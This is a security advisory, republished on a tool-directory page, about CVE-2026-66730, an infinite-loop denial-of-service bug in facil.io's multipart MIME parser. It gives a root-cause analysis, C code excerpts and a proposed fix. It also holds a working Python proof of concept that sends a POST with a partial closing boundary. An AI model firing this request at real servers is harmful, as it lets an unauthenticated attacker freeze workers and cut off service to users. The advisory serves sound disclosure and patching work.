Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser — Security Advisory: Infinite Loop DoS in facil.io MIME Parser (Partial Boundary) | Kitploit
Ferramentas/GitHubGitHub/theopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser
Vulnerability AnalysisCode AnalysisWeb SecurityPapers & ResearchLearning & Education
GitHubtheopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser

CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser

Security Advisory: Infinite Loop DoS in facil.io MIME Parser (Partial Boundary)

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
há 22 diasAinda não revisado

Aviso de Segurança: DoS de Loop Infinito no Analisador MIME do facil.io (Delimitador Parcial)

ID CVE atribuído: CVE-2026-66730

Produto: facil.io
Versões afetadas: facil.io >= 0.6.0 (todas as 0.6.x, todas as 0.7.x, master); introduzido juntamente com o analisador MIME em 0.6.0
Componente: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (Loop com Condição de Saída Inalcançável), CWE-400 (Consumo de Recursos Sem Controle)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Pesquisador: Theodosis Paidakis


Resumo

Uma requisição multipart/form-data cujo corpo termina com um delimitador de fechamento parcial (por exemplo, --B- em vez de --B--\r\n) faz com que http_parse_body() entre em um loop infinito a 100% de CPU. O analisador MIME retorna 0 bytes consumidos quando para em um delimitador parcial, mas o loop chamador verifica apenas !done && !error. Nenhum dos sinalizadores é definido, então ele invoca o analisador novamente com os mesmos dados para sempre. O servidor não trava, portanto nenhum worker é recriado. Uma única requisição POST não autenticada congela permanentemente um worker.

Isso não está relacionado ao CVE-2026-41146, que é um loop infinito no analisador JSON (fio_json_parser.h). Este bug está no analisador MIME/multipart.


Causa raiz

Parte 1: Sem guarda de progresso no chamador

lib/facil/http/http.c, linhas 1963-1967

root@kitploit:~
// lib/facil/http/http.c:1963-1967
do {
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;                                         // += 0 when parser stalls
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);    // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error);       // neither flag set -> loops forever

Se http_mime_parse retorna 0 e não define nem done nem error, p.pos permanece fixo, fiobj_data_pread retorna o mesmo buffer e o loop não tem saída.

Parte 2: Quando http_mime_parse retorna 0

lib/facil/http/parsers/http_mime_parser.h, linhas 314-329 e o ramo consume_partial

O analisador examina a seção de valor em busca de um delimitador completo. Quando o corpo termina com \n--B- (quatro bytes a menos que um delimitador de fechamento completo \n--B--\r\n), a varredura encontra \n seguido do que parece ser o início de um delimitador, mas não consegue confirmar que está completo:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
    end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
         (size_t)(stop - end) >= (4 + parser->boundary_len) &&
         (end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
    // partial boundary -- transition to consume_partial on first call
    parser->in_obj = 1;
    goto consume_partial;
}

Na próxima chamada, in_obj já está definido. O ramo consume_partial encontra o mesmo \n antes de --B- e então recua o ponteiro de retorno antes de qualquer dado não consumido:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
    end -= 2;
    if (end[0] == '\r') --end;   // end now points before the \n
    pos = end;                    // return pointer set behind any new data
    goto end_of_data;             // returns 0 bytes consumed
}

pos termina na posição inicial ou antes dela. A função retorna 0. De volta ao chamador, cons = 0, p.pos não se move e o ciclo se repete.


Prova de conceito

Inicie o servidor e execute:

root@kitploit:~
# poc_mime_infinite_loop.py
import socket, time

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=field\r\n"
    "\r\n"
    "value\r\n"
    "--B-"      # partial closing boundary: missing final '-\r\n'
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    s.recv(4096)
    print("got response - not vulnerable")
except socket.timeout:
    print("hung for 10s - server spinning at 100% CPU")

Observado: processo do servidor a 99,7–100% de CPU. kill -9 é necessário para recuperar.


Impacto

Um worker congelado nunca é encerrado, então nenhum respawn ocorre. Com requisições suficientes (iguais ao número de workers), o servidor para de atender todos os clientes permanentemente até ser reiniciado manualmente. Não são necessários autenticação, cabeçalhos especiais ou estado anterior.


Correção

Adicione uma guarda de progresso ao loop em http_parse_body:

lib/facil/http/http.c, linhas 1963-1967

root@kitploit:~
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
    if (p.pos == last_pos) { p.p.error = 1; break; }   // no progress: abort
    last_pos = p.pos;
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);
Baixar ferramenta